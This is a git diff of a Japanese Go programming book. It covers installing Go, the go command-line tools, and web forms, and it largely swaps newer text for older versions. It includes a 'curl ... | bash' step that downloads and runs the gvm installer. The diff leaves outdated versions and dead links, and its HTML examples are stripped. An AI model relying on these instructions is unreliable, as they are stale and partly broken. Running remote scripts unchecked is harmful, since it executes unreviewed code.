の値が環境変数 GOROOT に追加されます。 +[Google Code ダウンロードページ][downlink]に接続し、32bit の場合は名前に windows-386 を含む msi パッケージをダウンロードします。64bit であれば名前に windows-amd64 を含むものをダウンロードします。ダウンロード後実行しますが、デフォルトのインストールフォルダである C:\Go\を変更してはいけません。他の場所にインストールしてしまうと、あなたが書いた Go コードが実行できなくなってしまうかもしれません。インストールが終わるとデフォルトで環境変数 Path に Go のインストールフォルダの下にある bin フォルダ `C:\Go\bin\` が追加され、Go のインストールフォルダである `C:\Go\` の値が環境変数 GOROOT に追加されます。 ** インストールが成功しているか確認する ** -「ファイル名を指定して実行」に `cmd` を入力し、コマンドラインツールを開きます。プロンプトで`go`と入力することで Usage 情報が確認できるか確かめることができます。`cd %GOROOT%` を入力すると、Go のインストールフォルダに入れるか確認できます。どちらも成功していれば、インストールに成功しています。 +「ファイル名を指定して実行」に `cmd` を入力することでコマンドラインツールを開きます。プロンプトで`go`と入力することで Usage 情報が確認できるか確かめることができます。`cd %GOROOT%` を入力すると、Go のインストールフォルダに入れるか確認できます。どちらも成功していれば、インストールに成功しています。 -インストールに成功していなければ、環境変数 Path と GOROOT の値を確認してください。もし存在しなければアンインストールの上再インストールし、存在していればコンピュータを再起動し、上の手順を再度試してください。 +インストールに成功していなければ、環境変数 Path と GOROOT の値を確認してください。もし存在しなければアンインストールの上再インストールし、存在していればコンピュータを再起動し、上の手順を再度お試しください。 ## サードパーティツールのインストール ### GVM gvmはサードパーティが開発したGoのバージョン管理ツールです。rubyのrvmツールに似ています。相当使い勝手がいいです。gvmをインストールするには以下のコマンド実行します: - bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) + bash < <(curl -s https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) インストールが完了したあと、goをインストールすることができます: - gvm install go1.4.2 - gvm use go1.4.2 + gvm install go1.1 + gvm use go1.1 下のコマンドで、毎回gvm useをコールする手間を省くことができます: - gvm use go1.4.2 --default + gvm use go1.1 --default -上のコマンドを実行したあと、GOPATH、GOROOTなどの環境変数が自動的に設定されます。これで、直接利用することができます。 +上のコマンドを実行したあと、GOPATH、GOROOTなどの環境変数は自動的に設定されます。これで、直接利用することができます。 ### apt-get Ubuntuは現在最も多く利用されているLinuxデスクトップシステムです。`apt-get`コマンドでソフトウェア・パッケージを管理します。下のコマンドでGoをインストールすることができます、今後のため`git`と`mercurial`もインストールしておくべきでしょう: @@ -136,7 +132,7 @@ Ubuntuは現在最も多く利用されているLinuxデスクトップシステ sudo apt-get install golang-stable git-core mercurial ### homebrew -homebrewはMacで現在最も使用されているソフトウェア管理ツールです。現在Goをサポートしており、以下のコマンドでGoを直接インストールすることができます。今後のため`git`と`mercurial`もインストールしておくべきでしょう: +homebrewはMacシステムで現在最も使用されているソフトウェア管理ツールです。現在Goをサポートしており、以下のコマンドでGoを直接インストールすることができます。今後のため`git`と`mercurial`もインストールしておくべきでしょう: brew update && brew upgrade brew install go @@ -149,4 +145,5 @@ homebrewはMacで現在最も使用されているソフトウェア管理ツー * 前へ: [Goの環境設定](<01.0.md>) * 次へ: [GOPATHとワーキングディレクトリ](<01.2.md>) -[downlink]:http://golang.org/dl/ "Goインストールパッケージダウンロード" +[downlink]: http://code.google.com/p/go/downloads/list "Goインストールパッケージダウンロード" +[hg]: http://mercurial.selenic.com/downloads/ "Mercurialダウンロード" diff --git a/ja/01.3.md b/ja/01.3.md index 0ca8fa34..ee84f996 100644 --- a/ja/01.3.md +++ b/ja/01.3.md @@ -1,204 +1,116 @@ -# 1.3 Goのコマンド - -## Goのコマンド - - Go言語は完全なコマンド操作ツールセットを持つ言語です。コマンドラインで`go`を実行することでそれらを確認することができます: - - ![](images/1.1.mac.png?raw=true) - -図1.3 Goコマンドで詳細情報を表示 - - これらのコマンドは我々が普段コードを書いている時に非常に役立つものです。次に普段使用するコマンドを理解していきましょう。 - -## go build - - このコマンドは主にソースコードのコンパイルに用いられます。パッケージのコンパイル作業中、もし必要であれば、同時に関連パッケージもコンパイルすることができます。 - - - もし普通のパッケージであれば、我々が1.2章で書いた`mypath`パッケージのように、`go build`を実行したあと、何のファイルも生成しません。もし`$GOPATH/pkg`の下に対応するファイルを生成する必要があれば、`go install`を実行してください。 - - - もしそれが`main`パッケージであれば、`go build`を実行したあと、カレントディレクトリの下に実行可能ファイルが生成されます。もし`$GOPATH/bin`の下に対応するファイルを生成する必要があれば、`go install`を実行するか、`go build- o パス/a.exe`を実行してください。 - - - もしあるプロジェクトディレクトリに複数のファイルがある場合で、単一のファイルのみコンパイルしたい場合は、`go build`を実行する際にファイル名を追加することができます。例えば`go build a.go`です。`go build`コマンドはデフォルトでカレントディレクトリにある全てのgoファイルをコンパイルしようと試みます。 - - - コンパイル後に出力されるファイル名を指定することもできます。1.2章の`mathapp`アプリケーションでは`go build -o astaxie.exe`と指定できます。デフォルトはpackage名(mainパッケージではない)になるか、ソースファイルのファイル名(mainパッケージ)になります。 - - (注:実際はpackage名は[Go言語の規格](https://golang.org/ref/spec)においてコード中の"package"に続く名前になります。この名前はファイル名と異なっていても構いません。デフォルトで生成される実行可能ファイル名はディレクトリ名。 - - - go buildはディレクトリ内の"\_"または"."ではじまるgoファイルを無視します。 - - - もしあなたのソースコードが異なるオペレーティングシステムに対応する場合は異なる処理が必要となります。ですので異なるオペレーティングシステムの名称にもとづいてファイルを命名することができます。例えば配列を読み込むプログラムがあったとして、異なるオペレーティングシステムに対して以下のようなソースファイルがあるかもしれません。 - - array_linux.go - array_darwin.go - array_windows.go - array_freebsd.go - - `go build`の際、システム名の末尾のファイルから選択的にコンパイルすることができます(Linux、Darwin、Windows、Freebsd) - -引数の紹介 - -- `-o` 出力するファイル名を指定します。パスが含まれていても構いません。例えば `go build -o a/b/c` -- `-i` パッケージをインストールします。コンパイル+`go install` -- `-a` すでに最新であるパッケージを全て更新します。ただし標準パッケージには適用されません。 -- `-n` 実行が必要なコンパイルコマンドを出力します。ただし、実行はされません。これにより低レイヤーで一体何が実行されているのかを簡単に知る事ができます。 -- `-p n` マルチプロセスで実行可能なコンパイル数を指定します。デフォルトはCPU数です。 -- `-race` コンパイルを行う際にレースコンディションの自動検出を行います。64bitマシンでのみ対応しています。 -- `-v` 現在コンパイル中のパッケージ名を出力します。 -- `-work` コンパイル時の一時ディレクトリ名を出力し、すでに存在する場合は削除しなくなります。 -- `-x` 実行しているコマンドを出力します。`-n`の結果とよく似ていますが、この場合は実行します。 -- `-ccflags 'arg list'` オプションを5c, 6c, 8cに渡してコールします。 -- `-compiler name` コンパイラを指定します。gccgoか、またはgcです。 -- `-gccgoflags 'arg list'` オプションをgccgoリンカに渡してコールします。 -- `-gcflags 'arg list'` オプションを5g, 6g, 8gに渡してコールします -- `-installsuffix suffix` デフォルトのインストールパッケージと区別するため、このサフィックスを利用して依存するパッケージをインストールします。`-race`をオプションに指定した場合はデフォルトで`-installsuffix race`が有効になっています。`-n`コマンドで確かめることができますよ。 -- `-ldflags 'flag list'` オプションを5l, 6l, 8lに渡してコールします。 -- `-tags 'tag list'` コンパイル時にこれらのtagをつけることができます。tagの詳細な制限事項に関しては [Build Constraints](http://golang.org/pkg/go/build/) を参考にして下さい。 - -## go clean - - このコマンドは現在のソースコードパッケージと関連するソースパッケージのなかでコンパイラが生成したファイルを取り除く操作を行います。これらのファイルはすなわち: - - _obj/ 旧objectディレクトリ、MakeFilesが作成する。 - _test/ 旧testディレクトリ,Makefilesが作成する。 - _testmain.go 旧gotestファイル,Makefilesが作成する。 - test.out 旧testログ,Makefilesが作成する。 - build.out 旧testログ,Makefilesが作成する。 - *.[568ao] objectファイル,Makefilesが作成する。 - - DIR(.exe) go buildが作成する。 - DIR.test(.exe) go test -cが作成する。 - MAINFILE(.exe) go build MAINFILE.goが作成する。 - *.so SWIG によって生成される。 - - 私は基本的にこのコマンドを使ってコンパイルファイルを掃除します。ローカルでテストを行う場合これらのコンパイルファイルはシステムと関係があるだけで、コードの管理には必要ありません。 - - $ go clean -i -n - cd /Users/astaxie/develop/gopath/src/mathapp - rm -f mathapp mathapp.exe mathapp.test mathapp.test.exe app app.exe - rm -f /Users/astaxie/develop/gopath/bin/mathapp - -引数紹介 - -- `-i` go installがインストールするファイル等の、関係するインストールパッケージと実行可能ファイルを取り除きます。 -- `-n` 実行する必要のある削除コマンドを出力します。ただし実行はされません。これにより低レイヤで何が実行されているのかを簡単に知ることができます。 -- `-r` importによってインポートされたパッケージを再帰的に削除します。 -- `-x` 実行される詳細なコマンドを出力します。`-n`出力の実行版です。 - -## go fmt - - 読者にC/C++の経験があればご存知かもしれませんが、コードにK&Rスタイルを選択するかANSIスタイルを選択するかは常に論争となっていました。goでは、コードに標準のスタイルがあります。すでに培われた習慣やその他が原因となって我々は常にANSIスタイルまたはその他のより自分にあったスタイルでコードを書いて来ました。これは他の人がコードを閲覧する際に不必要な負担を与えます。そのためgoはコードのスタイルを強制し(例えば左大括弧はかならず行末に置く)、このスタイルに従わなければコンパイルが通りません。整形の時間の節約するため、goツールは`go fmt`コマンドを提供しています。これはあなたの書いたコードを整形するのに役立ちます。あなたの書いたコードは標準のスタイルに修正されますが、我々は普段このコマンドを使いません。なぜなら開発ツールには一般的に保存時に自動的に整形を行ってくれるからです。この機能は実際には低レイヤでは`go fmt`を呼んでいます。この次の章で2つのツールをご紹介しましょう。この2つのツールはどれもファイルを保存する際に`go fmt`機能を自動化させます。 - -go fmtコマンドを使うにあたって実際にはgofmtがコールますが、-wオプションが必要になります。さもなければ、整形結果はファイルに書き込まれません。gofmt -w -l src、ですべての項目を整形することができます。 - -go fmtはgofmtの上位レイヤーのパッケージされたコマンドです。より個人的なフォーマットスタイルが欲しい場合は [gofmt](http://golang.org/cmd/gofmt/) を参考にしてください。 - -gofmtの引数紹介 - -- `-l` フォーマットする必要のあるファイルを表示します。 -- `-w` 修正された内容を標準出力に書き出すのではなく、直接そのままファイルに書き込みます。 -- `-r` “a[b:len(a)] -> a[b:]”のような重複したルールを追加します。大量に変換を行う際に便利です。 -- `-s` ファイルのソースコードを簡素化します。 -- `-d` ファイルに書き込まず、フォーマット前後のdiffを表示します。デフォルトはfalseです。 -- `-e` 全ての文法エラーを標準出力に書き出します。もしこのラベルを使わなかった場合は異なる10行のエラーまでしか表示しません。 -- `-cpuprofile` テストモードをサポートします。対応するするcpufile指定のファイルに書き出します。 - -## go get - - このコマンドは動的にリモートコードパッケージを取得するために用いられます。現在BitBucket、GitHub、Google CodeとLaunchpadをサポートしています。このコマンドは内部で実際には2ステップの操作に分かれます:第1ステップはソースコードパッケージのダウンロード、第2ステップは`go install`の実行です。ソースコードパッケージのダウンロードを行うgoツールは異なるドメインにしたがって自動的に異なるコードツールを用います。対応関係は以下の通りです: - - BitBucket (Mercurial Git) - GitHub (Git) - Google Code Project Hosting (Git, Mercurial, Subversion) - Launchpad (Bazaar) - - そのため、`go get`を正常に動作させるためには、あらかじめ適切なソースコード管理ツールがインストールされていると同時にこれらのコマンドがあなたのPATHに入っていなければなりません。実は`go get`はカスタムドメインの機能をサポートしています。具体的な内容は`go help remote`を参照ください。 - -引数紹介: - -- `-d` ダウンロードするだけでインストールしません。 -- `-f` `-u`オプションを与えた時だけ有効になります。`-u`オプションはimportの中の各パッケージが既に取得されているかを検証しなくなります。ローカルにforkしたパッケージに対して特に便利です。 -- `-fix` ソースコードをダウンロードするとまずfixを実行してから他の事を行うようになります。 -- `-t` テストを実行する為に必要となるパッケージも同時にダウンロードします。 -- `-u` パッケージとその依存パッケージをネットワークから強制的に更新します。 -- `-v` 実行しているコマンドを表示します。 - -## go install - - このコマンドは実際には内部で2ステップの操作に分かれます。第1ステップはリザルトファイルの生成(実行可能ファイルまたはaパッケージ)、第2ステップはコンパイルし終わった結果を`$GOPATH/pkg`または`$GOPATH/bin`に移動する操作です。 - -引数は`go build`のコンパイルオプションをサポートしています。みなさんは`-v`オプションだけ覚えていただければ結構です。これにより低レイヤーの実行状況をいつでも確認することができます。 - -## go test - - このコマンドを実行すると、ソースコードディレクトリ以下の`*_test.go`ファイルが自動的にロードされ、テスト用の実行可能ファイルが生成/実行されます。出力される情報は以下のようなものになります - - ok archive/tar 0.011s - FAIL archive/zip 0.022s - ok compress/gzip 0.033s - ... - - デフォルトの状態で、オプションを追加する必要はありません。自動的にあなたのソースコードパッケージ以下のすべてのtestファイルがテストされます。もちろんオプションを追加しても構いません。詳細は`go help testflag`を確認してください。 - -ここでは良く使われるオプションについてご紹介します: - -- `-bench regexp` 指定したbenchmarksを実行します。例えば `-bench=.` -- `-cover` テストカバー率を起動します。 -- `-run regexp` regexpにマッチする関数だけを実行します。例えば `-run=Array` とすることで名前がArrayから始まる関数だけを実行します。 -- `-v` テストの詳細なコマンドを表示します。 - -## go tool -`go tool`にはいくつものコマンドがあります。ここでは2つだけご紹介します。fixと vetです。 - -- `go tool fix .` は以前の古いバージョンを新しいバージョンに修復します。例えば、go1以前の古いバージョンのコードをgo1に焼き直したり、APIを変化させるといったことです。 -- `go tool vet directory|files` はカレントディレクトリのコードが正しいコードであるか分析するために使用されます。例えばfmt.Printfをコールする際のオプションが正しくなかったり、関数の途中でreturnされたことによって到達不可能なコードが残っていないかといった事です。 - -## go generate -このコマンドはGo1.4になって初めてデザインされました。コンパイル前にある種のコードを自動で生成する目的に使用されます。`go generate`と`go build`は全くことなるコマンドです。ソースコード中の特殊なコメントをを分析することで、対応するコマンドを実行します。これらのコマンドは明確に何の依存も存在しません。この機能を使用する場合には必ず次の事を念頭に置いてください。`go generate`はあなたの為に存在します。あなたのパッケージを使用する誰かの為のものではありません。これはある一定のコードを生成するためにあります。 - -簡単な例をご紹介します。例えば我々が度々`yacc`を使ってコードを生成していたとしましょう。その場合以下のようなコマンドをいつも使用することになります: - - go tool yacc -o gopher.go -p parser gopher.y - --o は出力するファイル名を指定します。-pはパッケージ名を指定します。これは単独のコマンドであり、もし`go generate`によってこのコマンドを実行する場合は当然ディレクトリの任意の`xxx.go`ファイルの任意の位置に以下のコメントを一行追加します。 - - //go:generate go tool yacc -o gopher.go -p parser gopher.y - -注意すべきは、`//go:generate`に空白が含まれていない点です。これは固定のフォーマットで、ソースファイルを舐める時はこのフォーマットに従って判断されます。 - -これにより以下のようなコマンドによって、生成・コンパイル・テストを行うことができます。もし`gopher.y`ファイルに修正が発生した場合は、再度`go generate`を実行することでファイルを上書きすればよいことになります。 - - $ go generate - $ go build - $ go test - - -## godoc - -Go1.2バージョンより以前は`go doc`コマンドがサポートされていましたが、今後は全てgodocコマンドに移されました。このようにインストールします`go get golang.org/x/tools/cmd/godoc` - -多くの人がgoにはサードパーティのドキュメントが必要無いと謳っています。なぜなら例えばchmハンドブックのように(もっとも私はすでに[chmマニュアル](https://github.com/astaxie/godoc)を作っていますが)、この中にはとても強力なドキュメントツールが含まれているからです。 - - どのように対応するpackageのドキュメントを確認すればよいでしょうか? - 例えばbuiltinパッケージであれば、`go doc builtin`と実行します。 - もしhttpパッケージであれば、`go doc net/http`と実行してください。 - パッケージの中の関数を確認する場合は`godoc fmt Printf`としてください。 - 対応するコードを確認する場合は、`godoc -src fmt Printf`とします。 - - コマンドラインでコマンドを実行します。 godoc -http=:ポート番号 例えば`godoc -http=:8080`として、ブラウザで`127.0.0.1:8080`を開くと、golang.orgのローカルのcopy版を見ることができます。これを通してpkgドキュメントなどの他の内容を確認することができます。もしあなたがGOPATHを設定されていれば、pkgカテゴリの中で、標準パッケージのドキュメントのみならず、ローカルの`GOPATH`のすべての項目に関連するドキュメントをリストアップすることができます。これはグレートファイアーウォールの中にいるユーザにとっては非常にありがたい選択です。 - -## その他のコマンド - - goは他にも様々なツールを提供しています。例えば以下のツール - - go version はgoの現在のバージョンを確認します。 - go env は現在のgoの環境変数を確認します。 - go list は現在インストールされている全てのpackageをリストアップします。 - go run はGoプログラムのコンパイルと実行を行います。 - -これらのツールはまだ多くのオプションがあり、ひとつひとつはご紹介しませんが、ユーザは`go help コマンド`で更に詳しいヘルプ情報を取得することができます。 - - -## links - * [目次]() - * 前へ: [GOPATHとワーキングディレクトリ](<01.2.md>) - * 次へ: [Goの開発ツール](<01.4.md>) +# 1.3 Goのコマンド + +## Goのコマンド + + Go言語は完全なコマンド操作ツールセットを持つ言語です。コマンドラインで`go`を実行することでそれらを確認することができます: + + ![](images/1.3.go.png?raw=true) + +図1.3 Goコマンドで詳細情報を表示 + + これらのコマンドは我々が普段コードを書いている時に非常に役立つものです。次に普段使用するコマンドを理解していきましょう。 + +## go build + + このコマンドは主にコンパイルテストに用いられます。パッケージのコンパイル作業中、もし必要であれば、同時に関連パッケージもコンパイルすることができます。 + + - もし普通のパッケージであれば、我々が1.2章で書いた`mypath`パッケージのように、`go build`を実行したあと、何のファイルも生成しません。もし`$GOPATH/pkg`の下に対応するファイルを生成する必要があれば、`go install`を実行してください。 + + - もしそれが`main`パッケージであれば、`go build`を実行したあと、カレントディレクトリの下に実行可能ファイルが生成されます。もし`$GOPATH/bin`の下に対応するファイルを生成する必要があれば、`go install`を実行するか、`go build- o パス/a.exe`を実行してください。 + + - もしあるプロジェクトディレクトリに複数のファイルがある場合で、単一のファイルのみコンパイルしたい場合は、`go build`を実行する際にファイル名を追加することができます。例えば`go build a.go`です。`go build`コマンドはデフォルトでカレントディレクトリにある全てのgoファイルをコンパイルしようと試みます。 + + - コンパイル後に出力されるファイル名を指定することもできます。1.2章の`mathapp`アプリケーションでは`go build -o astaxie.exe`と指定できます。デフォルトはpackage名(mainパッケージではない)になるか、ソースファイルのファイル名(mainパッケージ)になります。 + + (注:実際はpackage名は[Go言語の規格](https://golang.org/ref/spec)においてコード中の"package"に続く名前になります。この名前はファイル名と異なっていても構いません。デフォルトで生成される実行可能ファイル名はディレクトリ名。 + + - go buildはディレクトリ内の"\_"または"."ではじまるgoファイルを無視します。 + + - もしあなたのソースコードが異なるオペレーティングシステムに対応する場合は異なる処理が必要となります。ですので異なるオペレーティングシステムの名称にもとづいてファイルを命名することができます。例えば配列を読み込むプログラムがあったとして、異なるオペレーティングシステムに対して以下のようなソースファイルがあるかもしれません。 + + array_linux.go + array_darwin.go + array_windows.go + array_freebsd.go + + `go build`の際、システム名の末尾のファイルから選択的にコンパイルすることができます(Linux、Darwin、Windows、Freebsd) + +## go clean + + このコマンドは現在のソースコードパッケージのなかでコンパイラが生成したファイルを取り除く操作を行います。これらのファイルはすなわち: + + _obj/ 旧objectディレクトリ、MakeFilesが作成する。 + _test/ 旧testディレクトリ,Makefilesが作成する。 + _testmain.go 旧gotestファイル,Makefilesが作成する。 + test.out 旧testログ,Makefilesが作成する。 + build.out 旧testログ,Makefilesが作成する。 + *.[568ao] objectファイル,Makefilesが作成する。 + + DIR(.exe) go buildが作成する。 + DIR.test(.exe) go test -cが作成する。 + MAINFILE(.exe) go build MAINFILE.goが作成する。 + + 私は基本的にこのコマンドを使ってコンパイルファイルを掃除します。ローカルでテストを行う場合これらのコンパイルファイルはシステムと関係があるだけで、コードの管理には必要ありません。 + +## go fmt + + 読者にC/C++の経験があればご存知かもしれませんが、コードにK&Rスタイルを選択するかANSIスタイルを選択するかは常に論争となっていました。goでは、コードに標準のスタイルがあります。すでに培われた習慣やその他が原因となって我々は常にANSIスタイルまたはその他のより自分にあったスタイルでコードを書いて来ました。これは他の人がコードを閲覧する際に不必要な負担を与えます。そのためgoはコードのスタイルを強制し(例えば左大括弧はかならず行末に置く)、このスタイルに従わなければコンパイルが通りません。整形の時間の節約するため、goツールは`go fmt`コマンドを提供しています。これはあなたの書いたコードを整形するのに役立ちます。あなたの書いたコードは標準のスタイルに修正されますが、我々は普段このコマンドを使いません。なぜなら開発ツールには一般的に保存時に自動的に整形を行ってくれるからです。この機能は実際には低レイヤでは`go fmt`を呼んでいます。この次の章で2つのツールをご紹介しましょう。この2つのツールはどれもファイルを保存する際に`go fmt`機能を自動化させます。 + +>go fmtコマンドの使用では、多くの場合はgofmtを使用しますが、-wオプションが必要になります。さもなければ、整形結果はファイルに書き込まれません。gofmt -w src、ですべての項目を整形することができます。 + +## go get + + このコマンドは動的にリモートコードパッケージを取得するために用いられます。現在BitBucket、GitHub、Google CodeとLaunchpadをサポートしています。このコマンドは内部で実際には2ステップの操作に分かれます:第1ステップはソースコードパッケージのダウンロード、第2ステップは`go install`の実行です。ソースコードパッケージのダウンロードを行うgoツールは異なるドメインにしたがって自動的に異なるコードツールを用います。対応関係は以下の通りです: + + BitBucket (Mercurial Git) + GitHub (Git) + Google Code Project Hosting (Git, Mercurial, Subversion) + Launchpad (Bazaar) + + そのため、`go get`を正常に動作させるためには、あらかじめ適切なソースコード管理ツールがインストールされていると同時にこれらのコマンドがあなたのPATHに入っていなければなりません。実は`go get`はカスタムドメインの機能をサポートしています。具体的な内容は`go help remote`を参照ください。 + +## go install + + このコマンドは実際には内部で2ステップの操作に分かれます。第1ステップはリザルトファイルの生成(実行可能ファイルまたはaパッケージ)、第2ステップはコンパイルし終わった結果を`$GOPATH/pkg`または`$GOPATH/bin`に移動する操作です。 + +## go test + + このコマンドを実行すると、ソースコードディレクトリ以下の`*_test.go`ファイルが自動的にロードされ、テスト用の実行可能ファイルが生成/実行されます。出力される情報は以下のようなものになります + + ok archive/tar 0.011s + FAIL archive/zip 0.022s + ok compress/gzip 0.033s + ... + + デフォルトの状態で、オプションを追加する必要はありません。自動的にあなたのソースコードパッケージ以下のすべてのtestファイルがテストされます。もちろんオプションを追加しても構いません。詳細は`go help testflag`を確認してください。 + +## go doc + + (1.2rc1 から go doc コマンドはなくなり、 godoc コマンドのみになります) + 多くの人がgoはいかなるサードパーティドキュメントも必要としないと言っています。なぜなら例えばchmマニュアルのように(もっとも私はすでに[chmマニュアル](https://github.com/astaxie/godoc)を作っていますが)、この中にすでに非常に協力なドキュメントツールが入っているからです。 + + どのように対応するpackageのドキュメントを確認すればよいでしょうか? + 例えばbuiltinパッケージであれば、`go doc builtin`と実行します。 + もしhttpパッケージであれば、`go doc net/http`と実行してください。 + パッケージの中の関数を確認する場合は`godoc fmt Printf`としてください。 + 対応するコードを確認する場合は、`godoc -src fmt Printf`とします。 + + コマンドラインでコマンドを実行します。 godoc -http=:ポート番号 例えば`godoc -http=:8080`として、ブラウザで`127.0.0.1:8080`を開くと、golang.orgのローカルのcopy版を見ることができます。これを通してpkgドキュメントなどの他の内容を確認することができます。もしあなたがGOPATHを設定されていれば、pkgカテゴリの中で、標準パッケージのドキュメントのみならず、ローカルの`GOPATH`のすべての項目に関連するドキュメントをリストアップすることができます。これはグレートファイアーウォールの中にいるユーザにとっては非常にありがたい選択です。 + +## その他のコマンド + + goは他にも様々なツールを提供しています。例えば以下のツール + + go fix は以前の古いバージョンのコードを新しいバージョンに復元するために使われます。例えばgo1の前の古いバージョンのコードをgo1に移動させます。 + go version はgoの現在のバージョンを確認します。 + go env は現在のgoの環境変数を確認します。 + go list は現在インストールされている全てのpackageをリストアップします。 + go run はGoプログラムのコンパイルと実行を行います。 + +以上これらのツールはまだ多くのオプションがあり、ひとつひとつはご紹介しませんが、ユーザは`go help コマンド`で更に詳しいヘルプ情報を取得することができます。 + + +## links + * [目次]() + * 前へ: [GOPATHとワーキングディレクトリ](<01.2.md>) + * 次へ: [Goの開発ツール](<01.4.md>) diff --git a/ja/04.0.md b/ja/04.0.md index 4476940e..abe37f7f 100644 --- a/ja/04.0.md +++ b/ja/04.0.md @@ -1,25 +1,25 @@ -# 4 フォーム - -フォームは普段Webアプリケーションを書く時によく使われるツールです。フォームを通して便利にユーザにサーバとデータをやり取りさせることができます。以前にWeb開発をしたことのあるユーザにとってはフォームはとてもお馴染みのものです。しかしC/C++のプログラマからすると少々取っ付きにくいかもしれません。フォームとは一体何でしょうか? - -フォームは表の要素を含むエリアです。フォームの要素はユーザがフォームの中で(例えば、テキストフィールド、コンボボックス、チェックボックス、セレクトボックス等です。)情報を入力する要素です。フォームはフォームタグ(\)で定義します。 - -
- ... - input 要素 - ... -
- -Goではformの処理に簡単な方法が既に用意されています。Requestの中にformを専門に処理するものがあり、簡単にWeb開発に利用できます。4.1節の中でGoがどのようにフォームの入力を処理するかご説明します。いかなるユーザの入力も信用はできないので、これらの入力に対し検証を行う必要があります。4.2節では一般的にどのように検証を行うか、細かいデモンストレーションを行います。 - -HTTPプロトコルはステートレスなプロトコルです。ではどのようにして一人のユーザを同定するのでしょうか?また、フォームが複数回送信されてしまわないように保証するにはどうするのでしょうか?4.3と4.4節ではcookie(cookieはクライアントに保存される情報です。HTTP Headerを通してサーバーとやり取りされます)等をより詳しくご紹介します。 - -フォームにはもうひとつファイルをアップロードできるという大きな機能があります。Goはファイルのアップロードをどのように処理しているのでしょうか?大きなファイルをアップロードする際効率よく処理するにはどうすればよいでしょうか?4.5節ではGoによるファイルのアップロード処理の知識を一緒に勉強します。 - -## 目次 -![](images/navi4.png?raw=true) - -## links - * [目次]() - * 前へ: [第三章まとめ](<03.5.md>) - * 次へ: [フォームの入力を処理する](<04.1.md>) +# 4 フォーム + +フォームは我々が普段Webアプリケーションを書く時によく使うツールです。フォームを通して便利にユーザにサーバとデータをやり取りさせることができます。以前にWeb開発をしたことのあるユーザにとってはフォームはとてもお馴染みのものです。しかしC/C++のプログラマからすると、少々ばかり門外漢かもしれません。フォームとは一体何でしょうか? + +フォームは表の要素を含むエリアです。フォームの要素はユーザがフォームの中で(例えば、テキストフィールド、コンボボックス、チェックボックス、セレクトボックス等です。)情報を入力する要素です。フォームはフォームタグ(\)で定義します。 + +
+ ... + input 要素 + ... +
+ +Goではformの処理にすでにとても簡単な方法が用意されています。Requestの中にformを専門に処理するものがあります。とても簡単にWeb開発に利用できるものです。4.1節の中でGoがどのようにフォームの入力を処理するかご説明します。いかなるユーザの入力も信用はできないので、これらの入力に対しバリデーションを行う必要があります。4.2節ではどのように普通のバリデーションを行うか、細かいデモンストレーションを行います。 + +HTTPプロトコルはステートレスなプロトコルです。ではどのようにして一人のユーザを同定するのでしょうか?また、フォームが複数回送信されてしまわないように保証するにはどうするのでしょうか?4.3と4.4節ではcookie(cookieはクライアントに保存される情報です。handlerとサーバを通る度にやり取りされるデータです。)等をより詳しくご紹介します。 + +フォームにはもうひとつ、ファイルをアップロードできるという大きな機能があります。Goはファイルのアップロードをどのように処理しているのでしょうか?大きなファイルをアップロードする際効率よく処理するにはどうすればよいでしょうか?4.5節ではGoによるファイルのアップロード処理の知識を一緒に勉強します。 + +## 目次 +![](images/navi4.png?raw=true) + +## links + * [目次]() + * 前へ: [第三章まとめ](<03.5.md>) + * 次へ: [フォームの入力を処理する](<04.1.md>) diff --git a/ja/04.4.md b/ja/04.4.md index 72a8bf90..047bca31 100644 --- a/ja/04.4.md +++ b/ja/04.4.md @@ -1,58 +1,58 @@ -# 4.4 フォームの複数回送信の防止 - -これまでにどこかのBBSやブログでご覧になったことがあるかもしれませんが、一つのスレッドや文章の後でいくつもの重複が記録されていることがあります。これらの大多数はユーザが複数回書き込みフォームを送信してしまったことによるものです。様々な原因でユーザはよくフォームを複数回送信してしまいます。通常はマウスの誤操作によるもので、送信ボタンをダブルクリックしてしまったり、一旦送信した内容を再度修正しようとして、ブラウザの戻るボタンを押した後に次へボタンではなくまた送信ボタンを押してしまうことによるものです。当然、故意によるものもあります。- - 例えばネット上のアンケート調査やくじ引きにおいて重複して投票するなどです。では、どのようにしてユーザが同じ内容のフォームの送信を行うことを効果的に防げるのでしょうか? - -解決方法はフォームの中にユニークな値を持ったhiddenフィールドを追加することです。フォームを検証する際、このユニークな値を持ったフォームがすでに送信されているかどうか検証します。もしすでに送信されていれば、二回目の送信を拒絶します。そうでなければフォームに対して処理ロジックを行います。また、もしAjax形式で送信するフォームだった場合、フォームが送信された後javascriptによってフォームの送信ボタンを禁止します。 - -4.2節の例を改良してみましょう: - - サッカー - バスケットボール - テニス - ユーザ名: - パスワード: - - - -テンプレートの中に`token`というhiddenフィールドを追加しました。この値にはMD5(タイムスタンプ)によってユニークな値を割り当てます。この値をサーバに保存することで(sessionによるコントロールは6章でどのように保存するか解説します)フォームが送信される際の判定に使うことができます。 - - func login(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) //リクエストを受け取る方法 - if r.Method == "GET" { - crutime := time.Now().Unix() - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, token) - } else { - //リクエストはログインデータです。ログインのロジックを実行して判断します。 - r.ParseForm() - token := r.Form.Get("token") - if token != "" { - //tokenの合法性を検証します。 - } else { - //tokenが存在しなければエラーを出します。 - } - fmt.Println("username length:", len(r.Form["username"][0])) - fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //サーバ側に出力します。 - fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) - template.HTMLEscape(w, []byte(r.Form.Get("username"))) //クライアントに出力します。 - } - } - -出力されるページのソースは以下の通り: - -![](images/4.4.token.png?raw=true) - -図4.4 tokenを追加した後クライアントが出力するソース情報 - -tokenはすでに出力値を持っていますので連続してページを更新することができます。この値が次々と変化するのがお分かりいただけるかと思います。このように毎回formが表示される時にユニークになるよう保証します。ユーザが送信するフォームは唯一性が保持されます。 - -この解決方法は悪意の無い攻撃に対しても防止することができます。また悪意のあるユーザに対してもしばらく効果があります。その後、ユーザーにこの悪意のある動機を捨てさせることができなかった場合は更に複雑な作業が必要となります。 - -## links - * [目次]() - * 前へ: [クロスサイトスクリプティングの予防](<04.3.md>) - * 次へ: [ファイルのアップロード処理](<04.5.md>) +# 4.4 フォームの複数回送信の防止 + 